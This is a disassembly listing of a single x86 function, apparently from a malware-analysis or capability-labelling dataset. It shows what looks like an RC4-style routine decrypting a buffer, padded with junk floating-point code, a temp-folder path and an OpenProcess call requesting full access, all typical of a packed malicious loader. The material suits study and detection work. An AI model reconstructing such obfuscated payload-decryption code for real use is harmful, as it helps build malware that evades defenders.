Function at 0x100022a0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov eax, dword [0x10017038]
xor eax, ebp
mov dword [ebp - 0xc], eax
push esi
mov dword [ebp - 0x40], 0xea
mov byte [ebp - 5], 0x4d
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov dword [ebp - 0x3c], str.HdwjdRPTrBAmYqqHPUGCoT
mov dword [ebp - 0x454], 0
jmp 0x100022f9
mov eax, dword [ebp - 0x454]
add eax, 1
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 6
jge 0x1000232f
mov ecx, dword [ebp - 0x3c]
mov dword [0x10019144], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, 6
sub eax, dword [ebp - 0x454]
push eax
push 0x10019144
call fcn.100014c0
add esp, 8
jmp 0x100022ea
movzx cx, byte [0x10017e23]
movzx edx, cx
push edx
call fcn.1000343a
add esp, 4
mov dword [0x10019154], eax
push 4
call fcn.10002c7c
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [0x10019370], eax
mov ecx, dword [0x10019150]
push ecx
call fcn.10001950
add esp, 4
mov dword [ebp - 0x45c], eax
mov edx, dword [ebp - 0x45c]
mov dword [ebp - 0x18], edx
mov eax, dword [0x10019370]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
push 0x104
call fcn.10002c7c
add esp, 4
mov dword [ebp - 0x460], eax
mov edx, dword [ebp - 0x460]
mov dword [0x10019144], edx
push 0x104
mov eax, dword [0x10019144]
push eax
push str._tmp__folhzaawq
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [ebp - 0x20], str.folhzaawq
push 0xd2
mov ecx, dword [0x10019144]
push ecx
push 4
lea edx, [ebp - 0x38]
push edx
call fcn.10001210
add esp, 0xc
fld dword [0x10012408]
fstp dword [esp]
push ecx
fld dword [0x10017ea4]
fstp dword [esp]
call fcn.100010e0
add esp, 8
fldz
fucompp
fnstsw ax
test ah, 0x44
jnp 0x10002464
push ecx
fld dword [0x10017ea4]
fstp dword [esp]
call fcn.100010a0
add esp, 4
fchs
push ecx
fld dword [0x10017ea4]
fstp dword [esp]
fstp qword [ebp - 0x46c]
call fcn.100010a0
fstp dword [esp]
push ecx
fld dword [0x10017ea4]
fstp dword [esp]
call fcn.100010e0
add esp, 8
fld qword [ebp - 0x46c]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x10002464
mov eax, dword [0x1001914c]
sub eax, dword [0x10017eac]
mov dword [0x10017eb0], eax
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x10002916
mov dword [0x10017e04], 0
jmp 0x1000248b
mov edx, dword [0x10017e04]
add edx, 1
mov dword [0x10017e04], edx
cmp dword [0x10017e04], 0x100
jae 0x100024d0
mov eax, dword [0x10017e04]
mov ecx, dword [0x10017e04]
mov dword [ebp + eax*4 - 0x450], ecx
mov ecx, dword [0x1001914c]
imul ecx, ecx, 7
mov esi, dword [0x1001914c]
imul esi, esi, 5
add esi, 2
mov eax, 0x11d
cdq
idiv esi
add ecx, eax
mov dword [0x10017eb0], ecx
jmp 0x1000247c
mov edx, dword [0x1001914c]
imul edx, edx, 0xfffffff3
mov dword [ebp - 0x470], edx
fild dword [ebp - 0x470]
fstp qword [0x10019360]
cmp dword [0x10017eb0], 0
jle 0x10002500
mov eax, dword [0x1001914c]
mov dword [0x10017eb0], eax
jmp 0x1000250c
fld dword [0x10017ec0]
fstp dword [0x10019148]
mov dword [ebp - 4], 0x10017e20
push ecx
fld dword [0x10017ec0]
fstp dword [esp]
call fcn.100010c0
add esp, 4
fild dword [0x1001914c]
push ecx
fstp dword [esp]
fstp qword [ebp - 0x478]
call fcn.100010c0
add esp, 4
fcomp qword [ebp - 0x478]
fnstsw ax
test ah, 0x41
jne 0x1000258c
push ecx
fld dword [0x10017ea4]
fstp dword [esp]
call fcn.100010c0
add esp, 4
fstp dword [0x10019148]
fild dword [0x1001914c]
fsubr dword [0x10017ea4]
call fcn.1000a9c0
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx]
imul eax, edx
mov ecx, dword [0x10017eb0]
sub ecx, eax
mov dword [0x10017eb0], ecx
jmp 0x100025ca
mov edx, dword [ebp - 4]
movzx eax, byte [edx]
cmp eax, dword [0x1001914c]
jg 0x100025ca
fld dword [0x10017ec0]
fdiv qword [0x100123f8]
fstp dword [ebp - 0x47c]
fld dword [ebp - 0x47c]
push ecx
fstp dword [esp]
call fcn.100010c0
add esp, 4
fmul dword [0x10019148]
fstp dword [0x10019148]
mov dword [0x10017e04], 0
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 0
jmp 0x100025ee
mov edx, dword [0x10017e04]
add edx, 1
mov dword [0x10017e04], edx
cmp dword [0x10017e04], 0x100
jae 0x100026de
mov eax, dword [0x10017eb0]
add eax, 3
mov dword [ebp - 0x480], eax
fild dword [ebp - 0x480]
fld dword [0x10017ea4]
fadd qword [0x100123f0]
fmulp st(1)
fdivr dword [0x10017ea4]
mov ecx, dword [0x10017eb0]
add ecx, 2
mov dword [ebp - 0x484], ecx
fild dword [ebp - 0x484]
fadd dword [0x10017ea4]
fdivr qword [0x100123f0]
fsubp st(1)
fstp dword [0x10019148]
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx]
mov edx, dword [0x10017e04]
add ecx, dword [ebp + edx*4 - 0x450]
mov esi, dword [0x10019380]
mov eax, dword [0x10017e04]
xor edx, edx
div dword [esi]
mov eax, dword [ebp + 0x14]
movsx edx, byte [eax + edx]
add ecx, edx
mov eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov ecx, dword [0x10017e04]
mov edx, dword [ebp + ecx*4 - 0x450]
mov dword [ebp - 0x40], edx
mov eax, dword [0x1001914c]
imul eax, eax, 0xc
mov ecx, dword [0x10017eac]
lea edx, [ecx + eax - 4]
mov dword [0x10017eb0], edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov edx, dword [0x10017e04]
mov eax, dword [ebp + ecx*4 - 0x450]
mov dword [ebp + edx*4 - 0x450], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x40]
mov dword [ebp + edx*4 - 0x450], eax
jmp 0x100025df
mov byte [0x10017eda], 0
mov cl, byte [str.886qiptaou62l1c6b6upbp2nrq8jclq0b7391zyz]
mov byte [ebp - 0x488], cl
cmp byte [ebp - 0x488], 0xa
je 0x1000272b
cmp byte [ebp - 0x488], 0x52
je 0x10002705
jmp 0x1000273b
mov edx, dword [str.sdwawvmgl]
mov dword [str.886qiptaou62l1c6b6upbp2nrq8jclq0b7391zyz], edx
mov eax, dword [0x100123bc]
mov dword [0x10017edc], eax
mov cx, word [0x100123c0]
mov word [0x10017ee0], cx
jmp 0x1000273b
push str.JFwFTjEaPrJc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [0x10019154], eax
movzx edx, byte [ebp - 5]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x10019150], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x10019378], eax
mov dword [0x10019140], 0x104
cmp dword [0x10019378], 0xffffffff
je 0x100027a9
push 0x104
call fcn.10002c7c
add esp, 4
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x464]
mov dword [str.ZFadF3gog7EHbCbq8Q1tg], eax
push 0x10019140
mov ecx, dword [str.ZFadF3gog7EHbCbq8Q1tg]
push ecx
push str.886qiptaou62l1c6b6upbp2nrq8jclq0b7391zyz
call fcn.10001650
add esp, 0xc
mov dword [0x10017e00], 0
mov dword [0x10019368], 0
mov edx, dword [0x10019380]
cmp dword [edx], 0
je 0x100027d0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x100027d7
xor eax, eax
jmp 0x1000291b
cmp dword [ebp + 0x14], 0
je 0x10002916
mov dword [0x10017e04], 0
jmp 0x100027fc
mov ecx, dword [0x10017e04]
add ecx, 1
mov dword [0x10017e04], ecx
mov edx, dword [ebp + 8]
mov eax, dword [0x10017e04]
cmp eax, dword [edx]
jae 0x100028f5
mov eax, dword [0x10017e00]
add eax, 1
xor edx, edx
mov ecx, 0x100
div ecx
mov dword [0x10017e00], edx
mov edx, dword [0x10017e00]
mov eax, dword [0x10019368]
add eax, dword [ebp + edx*4 - 0x450]
xor edx, edx
mov ecx, 0x100
div ecx
mov dword [0x10019368], edx
mov edx, dword [0x10017e00]
mov eax, dword [ebp + edx*4 - 0x450]
mov dword [ebp - 0x40], eax
mov ecx, dword [0x10017e00]
mov edx, dword [0x10019368]
mov eax, dword [ebp + edx*4 - 0x450]
mov dword [ebp + ecx*4 - 0x450], eax
mov ecx, dword [0x10019368]
mov edx, dword [ebp - 0x40]
mov dword [ebp + ecx*4 - 0x450], edx
mov eax, dword [0x10017e00]
mov eax, dword [ebp + eax*4 - 0x450]
mov ecx, dword [0x10019368]
add eax, dword [ebp + ecx*4 - 0x450]
xor edx, edx
mov ecx, 0x100
div ecx
mov dword [ebp - 0x40], edx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
mov ecx, dword [0x10017e04]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x40]
xor edx, dword [ebp + eax*4 - 0x450]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
mov ecx, dword [0x10017e04]
mov byte [eax + ecx], dl
mov edx, dword [0x1001914c]
lea eax, [edx + edx + 1]
test eax, eax
jne 0x100028e4
mov dword [0x10017eb0], 8
jmp 0x100028f0
fld dword [0x100123ec]
fstp dword [0x10019148]
jmp 0x100027ed
fld qword [0x10019360]
call fcn.1000a8b0
call fcn.1000a9c0
and eax, 0x80000000
jns 0x10002911
dec eax
or eax, 0xffffffff
inc eax
mov dword [0x10017ebc], eax
mov eax, 1
pop esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10002c87
mov esp, ebp
pop ebp
ret